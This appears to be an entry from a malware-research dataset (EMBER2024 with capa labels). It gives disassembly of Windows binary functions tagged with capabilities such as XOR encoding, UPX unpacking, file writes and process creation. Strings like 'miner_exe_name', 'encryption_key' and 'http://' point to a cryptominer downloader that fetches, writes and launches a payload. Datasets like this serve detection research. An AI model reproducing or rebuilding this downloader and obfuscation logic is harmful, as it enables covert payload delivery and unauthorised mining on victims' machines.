joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x443690
mov ebx, eax
sar ebx, 1
add ebx, 4
and eax, 2
mov ecx, ebx
xor ecx, 1
add ecx, eax
jns 0x4436b5
mov ecx, 0xffffffff
jmp 0x4436b7
add ecx, ecx
push ecx
call fcn.0040c720
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x443701
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x4436f0
mov word [ecx], 0
lea ecx, [ebx + ebx]
mov word [esp], cx
lea ecx, [ebx*2 + 2]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x787b7a05
mov word [esp + 0x24], 0
mov byte [esp + 0x26], 0
mov edi, 0x6ce591bf
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edi - 0x6ce5919f]
mov esi, edx
and esi, 7
mov ecx, edi
and ecx, 0x78
or ecx, esi
xor ecx, 0x78
lea esi, [edx + 0x40]
and esi, ecx
mov ecx, edi
or ecx, ebx
not ebx
or ebx, esi
and ebx, ecx
add bl, 0x45
mov byte [esp + edi - 0x6ce5919f], bl
inc edi
dec edx
cmp edi, 0x6ce591c6
jne 0x443770
mov esi, dword [esp + 0x20]
mov ecx, dword [0x44f228]
test ecx, ecx
je 0x4437f9
xor edx, edx
mov ebx, dword [0x44f22c]
cmp dword [ebx + edx*8], 0x50dc24c7
je 0x4437d0
inc edx
cmp ecx, edx
jne 0x4437c0
jmp 0x4437f9
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x4437f9
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 2
push dword [0x44f230]
push ecx
mov ebx, eax
call fcn.004400f0
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.0040c730
add esp, 4
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x44380f
mov eax, dword [esp + 0x40]
mov dword [ecx], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x443820
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x787b7a05
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov esi, 0x6ce591bf
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + esi - 0x6ce591bf]
mov ecx, edx
and ecx, 7
mov eax, esi
and eax, 0x78
or eax, ecx
xor eax, 0x78
lea ecx, [edx + 0x40]
and ecx, eax
mov eax, esi
or eax, ebx
not ebx
or ebx, ecx
and ebx, eax
add bl, 0x45
mov byte [esp + esi - 0x6ce591bf], bl
inc esi
dec edx
cmp esi, 0x6ce591c6
jne 0x443850
mov eax, dword [esp]
mov edx, dword [0x44f228]
test edx, edx
je 0x4438d8
xor ebx, ebx
mov ecx, dword [0x44f22c]
nop
cmp dword [ecx + ebx*8], 0x7cde1e50
je 0x4438b0
inc ebx
cmp edx, ebx
jne 0x4438a0
jmp 0x4438d8
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x4438d8
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 5
push dword [0x44f230]
push edx
call fcn.004400f0
add esp, 0x20
test edi, edi
je 0x4438e2
mov ecx, dword [esp + 8]
mov dword [edi], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4438f1
cmp byte [esp + 0x15], 0
setne byte [ecx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x443900
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov edx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x28]
mov dword [esp], 0x787b7a05
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov esi, 0x6ce591bf
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + esi - 0x6ce591bf]
mov edi, ebx
and edi, 7
mov eax, esi
and eax, 0x78
or eax, edi
xor eax, 0x78
lea edi, [ebx + 0x40]
and edi, eax
mov eax, esi
or eax, ecx
not ecx
or ecx, edi
and ecx, eax
add cl, 0x45
mov byte [esp + esi - 0x6ce591bf], cl
inc esi
dec ebx
cmp esi, 0x6ce591c6
jne 0x443930
mov eax, dword [esp]
mov ecx, dword [0x44f228]
test ecx, ecx
je 0x4439be
xor ebx, ebx
mov edi, dword [0x44f22c]
nop
cmp dword [edi + ebx*8], 0xc81e0bf6
je 0x443990
inc ebx
cmp ecx, ebx
jne 0x443980
jmp 0x4439be
mov ebx, dword [edi + ebx*8 + 4]
cmp ebx, eax
je 0x4439be
lea eax, [esp + 8]
push 0
push 0
push edx
push ebp
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 9
push dword [0x44f230]
push ebx
call fcn.004400f0
add esp, 0x30
cmp eax, 0x103
jne 0x443a79
mov dword [esp], 0x787b7a05
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov eax, 0x6ce591bf
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x6ce591bf]
mov esi, ecx
and esi, 7
mov edi, eax
and edi, 0x78
or edi, esi
xor edi, 0x78
lea esi, [ecx + 0x40]
and esi, edi
mov edi, eax
or edi, edx
not edx
or edx, esi
and edx, edi
add dl, 0x45
mov byte [esp + eax - 0x6ce591bf], dl
inc eax
dec ecx
cmp eax, 0x6ce591c6
jne 0x4439f0
mov eax, dword [esp]
mov ecx, dword [0x44f228]
test ecx, ecx
je 0x443a71
xor edx, edx
mov edi, dword [0x44f22c]
nop
nop
cmp dword [edi + edx*8], 0x4e66b5a3
je 0x443a50
inc edx
cmp ecx, edx
jne 0x443a40
jmp 0x443a71
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x443a71
push 0
push 0
push dword [esp + 0x2c]
push 3
push dword [0x44f230]
push ecx
call fcn.004400f0
add esp, 0x18
test eax, eax
js 0x443a79
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x30]
test edx, edx
je 0x443a90
xor ecx, ecx
cmp eax, 0xc0000011
je 0x443a8e
mov ecx, dword [esp + 0xc]
mov dword [edx], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x443c30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [esp + 0x4c]
mov esi, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
mov edi, dword [esp + 0x3c]
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + ebx], 0
lea ebx, [ebx + 2]
jne 0x443c50
add ebx, 0xfffffffe
and ebx, 0xfffe
mov word [esp + 8], bx
add ebx, 2
mov word [esp + 0xa], bx
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0x40
lea eax, [esp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x787b7a05
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov ecx, 0x6ce591bf
xor edi, edi
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x6ce591bf]
mov ebp, edi
and ebp, 7
mov eax, ecx
and eax, 0x78
or eax, ebp
xor eax, 0x78
lea ebp, [edi + 0x40]
and ebp, eax
mov eax, ecx
or eax, ebx
not ebx
or ebx, ebp
and ebx, eax
add bl, 0x45
mov byte [esp + ecx - 0x6ce591bf], bl
inc ecx
dec edi
cmp ecx, 0x6ce591c6
jne 0x443cc0
mov eax, dword [esp]
mov edi, dword [0x44f228]
test edi, edi
je 0x443d45
xor ebx, ebx
mov ebp, dword [0x44f22c]
nop
cmp dword [ebp + ebx*8], 0x2df48de6
je 0x443d21
inc ebx
cmp edi, ebx
jne 0x443d10
jmp 0x443d45
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x443d45
lea eax, [esp + 0x10]
push esi
push eax
push edx
push dword [esp + 0x4c]
push 4
push dword [0x44f230]
push edi
call fcn.004400f0
add esp, 0x1c
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x89803c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x898046
pushal
call 0x89804c
pop ebp
sub ebp, 0x10
sub ebp, 0x49803c
jmp 0x898062
mov eax, 0x49803c
add eax, ebp
add eax, 0x4c
mov ecx, 0x607
add byte [ecx + 0x607], bh
mov edx, 0xd9ea65dc
xor byte [eax], dl
inc eax
dec ecx
jne 0x898079
jmp 0x89808c
push edi
adc dword [edi + 0x55], edx
loopne 0x89806e
invalid
Function at 0x403ba0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42b6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, ecx
push esi
cmp dword [ebx + 0x40], 0
push edi
je 0x403ce4
cmp byte [ebx + 0x45], 0
je 0x403ce4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x403bed
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00409def
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [esp + 0x14], 0
xorps xmm0, xmm0
movq qword [esp + 0x14], xmm0
lea eax, [esp + 0x14]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x14]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 8
mov byte [eax + 8], 0
lea esp, [esp]
cmp dword [esp + 0x28], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x10]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x28]
lea edi, [esp + 0x18]
cmovae edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
cmovae esi, dword [esp + 0x18]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x403c61
dec eax
je 0x403c65
sub eax, 2
je 0x403cbb
xor bl, bl
jmp 0x403cbd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
cmp ecx, 0x10
lea eax, [esp + 0x14]
cmovae eax, edx
sub esi, eax
je 0x403c9c
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x1c]
cmovae eax, edx
push 1
push eax
call fcn.0040b2f3
add esp, 0x10
cmp esi, eax
jne 0x403c5d
cmp byte [ebx + 0x45], 0
je 0x403cbb
test esi, esi
jne 0x403c20
push esi
push 8
lea ecx, [esp + 0x1c]
call fcn.00403790
jmp 0x403c20
mov bl, 1
cmp dword [esp + 0x28], 0x10
jb 0x403cd0
push dword [esp + 0x14]
call fcn.0040b118
add esp, 4
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00409def
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov al, 1
call fcn.00409def
mov esp, ebp
pop ebp
ret
Function at 0x404750
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 0x42dfb0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.X:.Trash_100
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0040b099
add esp, 0xc
lea eax, [ebp - 0x114]
push str.db_
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402aa0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1bc]
call fcn.00402340
lea ecx, [ebp - 0x1b8]
call fcn.00403a50
test eax, eax
jne 0x40482f
mov eax, dword [ebp - 0x1bc]
lea ecx, [ebp - 0x1bc]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x404827
or eax, 4
push 0
push eax
call fcn.00401720
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c0], eax
lea ecx, [ebp - 0x1b8]
call fcn.00402ba0
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c0], eax
lea eax, [ebp - 0x15c]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.0040951a
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
mov al, 1
pop esi
call fcn.00409def
mov esp, ebp
pop ebp
ret
Function at 0x405c40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42dfb0
mov byte [0x42dfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004048c0
add esp, 4
test al, al
je 0x405ca5
lea ecx, [ebp - 0x110]
call fcn.00407f00
push 0xffffffffffffffff
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409def
mov esp, ebp
pop ebp
ret

Function at 0x405cd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42dfb0
mov byte [0x42dfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004048c0
add esp, 4
test al, al
je 0x405d35
lea ecx, [ebp - 0x110]
call fcn.00407f00
push 0xffffffffffffffff
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405d50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040eab0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405cd0
int3
Function at 0x406b00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x17f]
mov esi, ecx
push 0
push eax
mov byte [ebp - 0x289], dl
mov dword [ebp - 0x290], esi
mov byte [ebp - 0x180], 0
call fcn.0040eab0
mov al, byte [0x427ed0]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x180]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
xor edi, edi
xor bl, bl
call fcn.0040b099
add esp, 0xc
lea eax, [ebp - 0x180]
push 0x4279cc
push 0x104
push eax
call fcn.0040b371
add esp, 0xc
lea eax, [ebp - 0x180]
push str.notafile.exe
push 0x104
push eax
call fcn.0040b371
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x406bd0
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404a90
mov al, byte [ebp - 0x289]
add esp, 8
test al, al
jne 0x406bf8
mov bl, 1
jmp 0x406c43
cmp al, 1
jne 0x406c43
lea eax, [ebp - 0x34]
push 0x10
push eax
mov edx, str.version
mov ecx, esi
call fcn.00407290
add esp, 8
test al, al
je 0x406c43
push 0x42cee0
call fcn.0040b9f2
mov esi, eax
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0040b9f2
movzx ebx, bl
add esp, 4
cmp eax, esi
mov esi, dword [ebp - 0x290]
mov ecx, 1
cmovg ebx, ecx
lea eax, [ebp - 0x288]
push 0x104
push eax
mov edx, str.link
mov ecx, esi
call fcn.00407290
add esp, 8
test al, al
je 0x406d58
lea eax, [ebp - 0x78]
push 0x40
push eax
mov edx, str.encryption_key
mov ecx, esi
call fcn.00407290
add esp, 8
test al, al
je 0x406d58
test bl, bl
je 0x406d58
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b20
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
jne 0x406cd1
lea eax, [edi + 1]
lea edi, [edi + 2]
cmp eax, 0xa
jge 0x406d70
push 0x927c0
call esi
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b20
test al, al
je 0x406ca6
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x180]
call fcn.00408830
add esp, 4
test eax, eax
jne 0x406d69
cmp byte [ebp - 0x78], al
je 0x406cfe
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x180]
call fcn.00404b70
push 0x40
lea eax, [ebp - 0x2d4]
push 0
push eax
mov dword [ebp - 0x2d8], 0x44
call fcn.0040eab0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2a8], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2d8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x180]
push eax
push 0
mov dword [ebp - 0x2ac], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406d75
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409def
mov esp, ebp
pop ebp
ret
push 0x3a98
call esi
call fcn.00405d50
call fcn.00405cd0
int3
Function at 0x407b20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5f8], edx
call fcn.0040b560
mov esi, eax
add esp, 8
test esi, esi
je 0x407b57
add esi, 7
jmp 0x407b59
mov esi, edi
push 0x428228
push esi
call fcn.0040b560
add esp, 8
test eax, eax
je 0x407c28
push 0x428228
push esi
call fcn.0040b560
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040b89c
push 0x428228
push esi
call fcn.0040b560
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040b099
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407480
add esp, 0x10
test al, al
je 0x407c28
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.004073c0
add esp, 8
test al, al
je 0x407c28
lea eax, [ebp - 0xe8]
push eax
call fcn.0040b9f2
add esp, 4
mov ebx, eax
push ebx
call fcn.00409862
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407480
add esp, 0x10
test al, al
jne 0x407c3b
push esi
call fcn.0040b094
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409def
mov esp, ebp
pop ebp
ret
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.004048c0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5f8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407c1f
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b094
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.00409def
mov esp, ebp
pop ebp
ret